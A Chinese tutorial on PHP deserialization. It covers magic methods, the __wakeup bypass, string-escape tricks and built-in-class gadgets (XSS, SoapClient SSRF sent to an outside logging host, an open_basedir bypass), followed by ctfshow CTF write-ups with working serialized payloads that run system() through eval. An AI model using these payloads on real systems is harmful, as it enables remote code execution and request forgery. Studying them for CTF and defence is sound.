PHP反序列化
概念
序列化的原因:为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个椅子快递,不可能整个椅子打包发送,这是非常不方便的,所以就要对椅子进行序列化处理,让椅子分成很多部分在一起打包发送,到目的后重新组装,也就是反序列化处理)
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
在php中,serialize()函数是序列化函数、unserialize()函数是反序列化函数
举例:
<?php
header("Content-type: text/html; charset=utf-8");class user{public $name = 'qdy';public $sec = 'man';public $age = '21';
}
$demo = new user();$s = serialize($demo); //序列化
$u = unserialize($s); //反序列化
echo $s.'<br>';
var_dump($u);
上图可见,代码执行完后第一行是被序列化后的字符串
解读:
常见魔术方法
__construct
初始化函数,一旦调用类就执行初始化函数
<?php
header("Content-type: text/html; charset=utf-8");
class A {public $name;public $age;public $string;public function __construct($name,$age,$string){$this->name = $name;$this->age = $age;$this->string = $string;echo "初始化函数__construct加载完毕"."<br>";}
}
$person = new A("张三",20,"hello world");
__destruct
销毁函数,unset()函数销毁 或 一旦调用完毕,自动销毁,销毁就执行销毁函数
<?php
header("Content-type: text/html; charset=utf-8");
class A {public $name;public $age;public $string;public function __destruct(){echo "销毁函数__destruct加载完毕"."<br>";return array("name"=>$this->name,"age"=>$this->age,"string"=>$this->string);}
}
$person = new A("张三",20,"hello world");
__sleep
序列化函数,一旦对函数实例进行序列化就执行
<?php
header("Content-type: text/html; charset=utf-8");
class A {public function __sleep(){echo "序列化函数__sleep加载完毕"."<br>";}}
$person = new A();
$a = serialize($person);
__wakeup
反序列化函数,一旦对被序列化的实例反序列化就执行
<?php
header("Content-type: text/html; charset=utf-8");
class B {public $name;public $age;public $string;public function __wakeup(){echo "反序列化函数__wakeup加载完毕"."<br>";}
}
$b = new B("a","b","c");
$ser_b = serialize($b);
unserialize($ser_b);
__invoke
以函数调用方式调用一个对象时,就会被调用执行
<?php
header("Content-type: text/html; charset=utf-8");
class C {public function __invoke($param1,$param2,$param3){echo "这是一个对象"."<br>";var_dump($param1,$param2,$param3);}
}
$c = new C();
$c('a','b','c');//此时触发
__toString
当一个对象被当作一个字符串来操作时,__toString 方法将被调用
<?php
header("Content-type: text/html; charset=utf-8");
class D {public function __toString() {// 当一个对象被当作一个字符串来操作时,__toString 方法将被调用echo "__toString函数被执行"."<br>";return "这是一个字符串";}
}
$d = new D();
// 当作字符串输出 就执行
echo $d;
__call
如果调用的方法不存在,则自动执行__call方法
<?php
header("Content-type: text/html; charset=utf-8");
class E {public function __call($name,$arguments){// 如果调用方法不存在,则自动执行__call方法echo "__call函数被调用"."<br>";echo "调用方法".$name."不存在"."<br>";}
}
$e = new E();
$e->test('a','b'); // test方法不存在
__get
当试图读取一个不存在的属性时,__get 方法将被调用
<?php
header("Content-type: text/html; charset=utf-8");
class F {public $n =123;public function __get($name){// 当试图读取一个不存在的属性时,__get 方法将被调用echo "__get函数被调用"."<br>";}
}
$f = new F();
echo $f->n;
echo "<br>";
echo $f->qdy;
__set
当试图给一个不存在的属性赋值时,__set 方法将被调用
<?php
header("Content-type: text/html; charset=utf-8");
class G {public $n =123;public function __set($name,$value){// 当试图给一个不存在的属性赋值时,__set 方法将被调用echo "__set函数被调用"."<br>";}
}
$g = new G();
$g->qdy = 456;
var_dump($g);
__isset
当对不可访问的属性调用 isset() 或 empty() 时,__isset() 会被调用
isset():检测变量是否已设置并且非 NULL,变量已经存在且不是 NULL,则返回 true
empty():检查变量是否为空。这里的“空”是指变量的值不存在、变量的值为 NULL、变量的值为零长度字符串、变量的值为零、变量的值为布尔值 false
、或者变量是一个没有元素的数组。如果变量是“空”的,返回 true
<?php
header("Content-type: text/html; charset=utf-8");
class H {public $sex; //公共的private $age; //私有的private $name;public function __construct($sex,$age,$name){$this->sex = $sex;$this->age = $age;$this->name = $name;}public function __isset($connect){// 当对不可访问的属性调用 isset() 或 empty() 时,__isset() 会被调用echo "__isset函数被调用 $connect"."<br>";}
}
$h = new H("man",20,"张三");
echo $h->sex."<br>";
echo isset($h->name);
例如上面代码中的$age是私有的
__unset
当对不可访问的属性调用 unset() 时,__unset() 会被调用
unset():销毁变量
<?php
header("Content-type: text/html; charset=utf-8");
class I {public $sex; //公共的private $age; //私有的private $name;public function __construct($sex,$age,$name){$this->sex = $sex;$this->age = $age;$this->name = $name;}public function __unset($connect){// 当对不可访问的属性调用 unset() 时,__unset() 会被调用echo "__unset函数被调用 $connect"."<br>";}
}
$i = new I("man",20,"张三");
echo $i->sex."<br>";
__serialize
public __serialize ( ) : array
必须返回数组
__serialize() 函数会检查类中是否存在一个魔术方法 __serialize()。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回
如果类中同时定义了 serialize() 和 __sleep() 两个魔术方法,则只有 _serialize() 方法会被调用。 __sleep() 方法会被忽略掉。
<?php
header('Content-Type:text/html;charset=utf-8');
class Cat {private $name = null;function __construct(?string $name = null){if(is_null($this->name)){$this->setName($name);}}private function setName($name){$this->name = $name;}public function __serialize(): array{echo "__serialize执行<br>";return ['catname' => $this->name,];}public function __sleep(){echo "__sleep执行<br>";}
}$Cat = new Cat('旺财');
serialize($Cat);
可以发现直接忽略掉了__sleep方法 只执行了__serialize方法
__unserialize
public __unserialize ( array $data) : void
必须接收数组
unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。
注意:如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
<?php
class Connection
{protected $link;private $dsn, $username, $password;public function __construct($dsn, $username, $password){$this->dsn = $dsn;$this->username = $username;$this->password = $password;}public function __unserialize(array $data): void{echo "执行了__unserialize<br>";$this->dsn = $data['dsn'];$this->username = $data['user'];$this->password = $data['pass'];$this->connect();}
}$a = new Connection('mysql:host=localhost;dbname=phpfxl', 'root', '');
unserialize(serialize($a));
__wakeup绕过(CVE-2016-7124)
漏洞编号:CVE-2016-7124
影响版本:PHP 5-5.6.25; PHP 7-7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性(变量)个数的值大于真实属性个数时会跳过__wakeup执行
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class A {public $a;public function __wakeup() {echo "执行了__wakeup方法<br>";}
}$a = new A();
$b = serialize($a);
echo $b."<br>";
$c = unserialize($_GET["x"]);
例如这里传入这个函数的序列化就执行了__wakeup方法
将表示对象属性数量的位置改为大于本来的变量数量即可不执行__wakeup()方法
字符串逃逸绕过
直接实例讲解
只需记住在反序列化中;}是反序列化的结束符
字符增加型
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';function __construct($user){$this->user=$user;}
}
$param=$_GET['param'];
$param=serialize(new test($param));
echo $param."<br>";
$profile=unserialize(filter($param)); // //对¶m的值user进行安全性检查
echo filter($param)."<br>";if ($profile->pass=='escaping'){ //目标echo "flag is there";
}
例如上述题目,目标要使得pass等于escaping,可是pass不可控,只有user是可控的,但是php会被替换为hack,就会增加一位,先构造后面的序列化后pass的数据
";s:4:“pass”;s:8:“escaping”;}
要判断输入多少个php能达成序列化后的数据是正确的我写了一个公式
4x-29 = 3x (x是未知数)
29数值来源于";s:4:“pass”;s:8:“escaping”;}的长度,4是被替换的hack的长度,3是被替换的php的长度,所以x理应等于反序列化后面的长度
只要算出x的值,那么php就该键入x个+";s:4:“pass”;s:8:“escaping”;}
所以x=29,则payload:param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:“pass”;s:8:“escaping”;}
刚刚好";s:4:“pass”;s:8:“escaping”;}的长度因为被替换多出的长度弥补
字符减少型
<?php
header("Content-type: text/html; charset=utf-8");
//highlight_file(__FILE__);
class A{public $v1 = "system()";public $v2 = '123';
}
$data = serialize(new A());
$data = str_replace("system()","",$data); //str_replace把system()替换为"空"
echo $data."<br>";
一个思路
O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:3:"123";}
由于序列化字符串是以严格的位数和“”决定
//$v1 = "system()"; $v2 = "123"
被替换后:O:1:'A":2{s:2:"v1";s:8:"";s:2:"v2";s:3:"123";}//$v1 = "abcsystem()system()system()"; 26
//$v2 ='1234567";s:2:"v3";N;}'; 21
被替换后:
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
abc";s:2:“v2”;s:21:"1234567 就变成了v1的值
然后可以随意构造v3的值
PHP原生类
PHP 原生类指的是 PHP 内置的类,它们可以直接在 PHP 代码中使用且无需安装或导入任何库,相当于代码中的内置方法例如echo ,print等等可以直接调用,但是原生类就是可以就直接php中直接创建的类,我们可以直接调用创建对象,但是这些类中有的会有魔术方法,为此,我们可以创建原生类去利用其中的魔术方法来达到我们反序列化的利用。
PHP 原生类的利用小结 - 先知社区
使用 Error/Exception 内置类进行 XSS
Error 内置类
适用于php7版本
在开启报错的情况下
Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个
__toString()
的方法,常用于PHP 反序列化中。
demo代码:
<?php
$a = unserialize($_GET['cmd']);
echo $a;
?>
payload:
<?php
$a = new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));
?>
Exception 内置类
- 适用于php5、7版本
- 开启报错的情况下
demo代码
<?php
$a = unserialize($_GET['cmd']);
echo $a;
?>
POC:
<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
使用 SoapClient 类进行 SSRF
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
该内置类有一个
__call
方法,当__call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个__call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。
<?php
$a = new SoapClient(null,array('location'=>'http://test.ivxyak.ceye.io/aaa', 'uri'=>'http://test.ivxyak.ceye.io'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
利用crlf漏洞配合user_agent设置请求头参数和POST数据包
请注意:要带POST数据包就得带上请求头参数Content-Type: application/x-www-form-urlencoded
并且排序一定得规律
<?php
$ua = "ua\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>$ua,'uri'=>'http://127.0.0.1'));
$b = serialize($a);
echo urlencode($b);
?>
使用 DirectoryIterator 类绕过 open_basedir
DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。
<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){echo($f->__toString().'<br>');
}
php框架反序列化利用 ThinkPHP&Yii&Laravel
生成各种框架POP链工具:https://github.com/ambionics/phpggc
[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化
访问www.zip下载源码
打开后可以判断就是ThinkPHP框架的源码
由此判断框架版本为6.0.x
查找ThinkPHP的反序列化漏洞有此版本
生成pop链子
寻找反序列化的位置发现index.php文件内有unserialize($payload)
审计代码发现,$payload来源于get传参payload的值
绕过限制将参数payload等于刚刚生成的pop链就行了
ctfshow反序列化
web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
想输出flag,可以看见,就得执行ctfShowUser类里面的vipOneKeyGetFlag方法
直接看下面,如果想执行到ctfShowUser类实例里的vipOneKeyGetFlag 就得使得 u s e r − > l o g i n ( user->login( user−>login(username, p a s s w o r d ) 为 t r u e , password) 为true, password)为true,user->checkVip()为true,使得 t h i s − > u s e r n a m e = = = this->username=== this−>username===u&& t h i s − > p a s s w o r d = = = this->password=== this−>password===p就能使得$this->isVip=true,就能执行到vipOneKeyGetFlag
payload:?username=xxxxxx&password=xxxxxx
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
和上题一样,只不过$user变成了cookie里user参数的值,直接将ctfShowUser改成符合下面代码条件再序列化就行
payload:
?username=xxxxxx&password=xxxxxx
cookie:user=
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
加个user参数的cookie值为payload就可以
web256
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
这题和上题唯一不一样的点就在vipOneKeyGetFlag方法里想执行echo $flag;就得满足
$this->username!==$this->password
直接更改
public $username='qwer';
public $password='qazx';
payload:
?username=qwer&password=qazx
cookie:user=
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22qwer%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22qazx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}
这里出现了两个魔术方法,__construct和 __destruct
想办法更改类使得执行backDoor里的eval就行
?username=xxxxxx&password=xxxxxx
cookie:user=
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
web258
<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}
这题和上一题的区别在于多了过滤
?username=xxxxxx&password=xxxxxx
cookie:user=
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
web259 --利用含有__call魔术方法的原生类SoapClient
源代码中没有出现任何的类和getflag方法,调用一个不存在的方法时想到触发__call魔术方法。
那接下来就寻找有__call()方法的原生类,
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(// '__destruct',// '__toString',//'__wakeup','__call',//'__callStatic',//'__get',//'__set',//'__isset',//'__unset',//'__invoke',//'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类))) {print $class . '::' . $method . "\n";}}}
?>
执行结束后发现存在SoapClient原生类
这个类可以实现发起http请求
接下来构造,去请求flag.php文件,并且得满足能读到flag的所有条件
利用ssrf结合crlf构造POC:
<?php
$ua = "ua\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>$ua,'uri'=>'http://127.0.0.1'));
$b = serialize($a);
echo urlencode($b);
?>
直接访问flag.txt
web260
阅读源码,意思就是序列化后的ctfshow参数值只要包含ctfshow_i_love_36D字符串就输出flag
那么直接让ctfshow=ctfshow_i_love_36D就行
web261
<?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);
可以看见类中全是魔术方法,
__construct:初始化方法
__wakeup:反序列化时自动触发
__invoke:以函数调用方式调用一个对象时,就会被调用执行
__sleep:序列化时被调用
__unserialize:
web271 Laravel
一打开题目就知道是Laravel框架,利用phpgcc查看相关的pop链
由于不知道版本,只能一个一个生成pop链尝试